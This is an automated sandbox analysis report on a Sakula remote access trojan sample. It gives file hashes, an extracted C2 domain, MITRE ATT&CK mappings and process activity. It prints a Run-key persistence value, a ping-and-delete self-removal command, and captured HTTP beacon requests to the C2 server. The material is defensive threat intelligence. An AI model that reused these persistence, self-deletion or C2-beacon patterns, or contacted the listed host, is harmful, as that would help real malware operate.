sakula | 7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e

General

Target

7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe
Size

92KB
MD5

af9c2ef84126a4db946fab35fc7d38b1
SHA1

30e07ab93c52099ed5273f45c7ecf26c3d51ed5e
SHA256

7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e
SHA512

4988952148675816663191fe9fc9cefbb6539a214bdcafcb865464cfcce80820c5db34a3e4a83ce792d43040913ad6d626c7b90f8c1b6a54a27feede2d82aa2d
SSDEEP

1536:TJbCiJVkgMaT2itTkjoRXnM48dXFajVPYxCEtkz30rtrC:9bfVk29te2jqxCEtg30BO

Score

10^/10

sakula discovery persistence rat trojan

Malware Config

Extracted

Family

sakula

C2

www.savmpet.com

Signatures

Sakula
Sakula is a remote access trojan with various capabilities.
trojan rat sakula
Sakula family
sakula

Sakula payload 1 IoCs

resource	yara_rule
behavioral1/files/0x00080000000186e7-1.dat	family_sakula

Deletes itself 1 IoCs

pid	Process
2700	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2348	AdobeUpdate.exe

Loads dropped DLL 4 IoCs

pid	Process
588	7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe
2348	AdobeUpdate.exe
2348	AdobeUpdate.exe
2348	AdobeUpdate.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\AdobeUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\MicroMedia\\AdobeUpdate.exe"	7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AdobeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2700	cmd.exe
2324	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2324	PING.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeIncBasePriorityPrivilege	588	7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 588 wrote to memory of 2348	588	7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe	31
PID 588 wrote to memory of 2348	588	7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe	31
PID 588 wrote to memory of 2348	588	7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe	31
PID 588 wrote to memory of 2348	588	7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe	31
PID 588 wrote to memory of 2348	588	7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe	31
PID 588 wrote to memory of 2348	588	7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe	31
PID 588 wrote to memory of 2348	588	7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe	31
PID 588 wrote to memory of 2700	588	7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe	33
PID 588 wrote to memory of 2700	588	7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe	33
PID 588 wrote to memory of 2700	588	7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe	33
PID 588 wrote to memory of 2700	588	7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe	33
PID 2700 wrote to memory of 2324	2700	cmd.exe	35
PID 2700 wrote to memory of 2324	2700	cmd.exe	35
PID 2700 wrote to memory of 2324	2700	cmd.exe	35
PID 2700 wrote to memory of 2324	2700	cmd.exe	35

C:\Users\Admin\AppData\Local\Temp\7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe
"C:\Users\Admin\AppData\Local\Temp\7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe"
1⤵
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:588
- C:\Users\Admin\AppData\Local\Temp\MicroMedia\AdobeUpdate.exe
  C:\Users\Admin\AppData\Local\Temp\MicroMedia\AdobeUpdate.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2348
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 & del /q "C:\Users\Admin\AppData\Local\Temp\7cdb15b4ed3ac8a3c20a67a12b320e7551a101b7c42054fe77b5521238681d3e.exe"
  2⤵
  - Deletes itself
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2324

Network

DNS

www.savmpet.com

AdobeUpdate.exe

Remote address:

8.8.8.8:53

Request

www.savmpet.com

IN A

Response

www.savmpet.com

IN A

52.34.198.229
POST

http://www.savmpet.com/newimage.asp?imageid=cwpfqzec-1909178559&type=0&resid=259444420

AdobeUpdate.exe

Remote address:

52.34.198.229:80

Request

POST /newimage.asp?imageid=cwpfqzec-1909178559&type=0&resid=259444420 HTTP/1.1
User-Agent: iexplorer
Host: www.savmpet.com
Content-Length: 176
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Date: Sat, 01 Feb 2025 12:34:19 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Set-Cookie: btst=; path=/; domain=.www.savmpet.com; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
Set-Cookie: btst=; path=/; domain=www.savmpet.com; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
Set-Cookie: btst=ce7167a7a785479c822349ddfded9303|181.215.176.83|1738413259|1738413259|0|1|0; path=/; domain=.savmpet.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
Set-Cookie: snkz=181.215.176.83; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
GET

http://www.savmpet.com/photo/cwpfqzec-1909178559.jpg?resid=259447805

AdobeUpdate.exe

Remote address:

52.34.198.229:80

Request

GET /photo/cwpfqzec-1909178559.jpg?resid=259447805 HTTP/1.1
User-Agent: iexplorer
Host: www.savmpet.com
Cache-Control: no-cache
Cookie: btst=ce7167a7a785479c822349ddfded9303|181.215.176.83|1738413259|1738413259|0|1|0; snkz=181.215.176.83

Response

HTTP/1.1 200 OK

Server: nginx
Date: Sat, 01 Feb 2025 12:34:19 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Set-Cookie: btst=; path=/; domain=.www.savmpet.com; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
Set-Cookie: btst=; path=/; domain=www.savmpet.com; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
Set-Cookie: btst=ce7167a7a785479c822349ddfded9303|181.215.176.83|1738413259|1738413259|0|2|0; path=/; domain=.savmpet.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;

52.34.198.229:80

http://www.savmpet.com/newimage.asp?imageid=cwpfqzec-1909178559&type=0&resid=259444420

http

AdobeUpdate.exe

580 B
872 B
5
5

HTTP Request

POST http://www.savmpet.com/newimage.asp?imageid=cwpfqzec-1909178559&type=0&resid=259444420

HTTP Response

200
52.34.198.229:80

http://www.savmpet.com/photo/cwpfqzec-1909178559.jpg?resid=259447805

http

AdobeUpdate.exe

475 B
792 B
5
5

HTTP Request

GET http://www.savmpet.com/photo/cwpfqzec-1909178559.jpg?resid=259447805

HTTP Response

200
52.34.198.229:80

www.savmpet.com

AdobeUpdate.exe

152 B
3
52.34.198.229:80

www.savmpet.com

AdobeUpdate.exe

152 B
3
52.34.198.229:80

www.savmpet.com

AdobeUpdate.exe

152 B
3

8.8.8.8:53

www.savmpet.com

dns

AdobeUpdate.exe

61 B
77 B
1
1

DNS Request

www.savmpet.com

DNS Response

52.34.198.229

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

\Users\Admin\AppData\Local\Temp\MicroMedia\AdobeUpdate.exe

Filesize
92KB

MD5
442967e1ca0a0d8408004088db487be4

SHA1
63faab4d648ffce4e429fdb5b376d64a72bf5469

SHA256
db4de96bcbc462c200b08eab0d3e24a55bc4713e5dd6e99c08639dac3f800894

SHA512
acee3765a0db149f63c1876faf928e8a4eef051b8d5426532dda02f0ea24208601eb20f93db98348fd8fbba04acdfa46c9287612e85b28db668f2633131fa983

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

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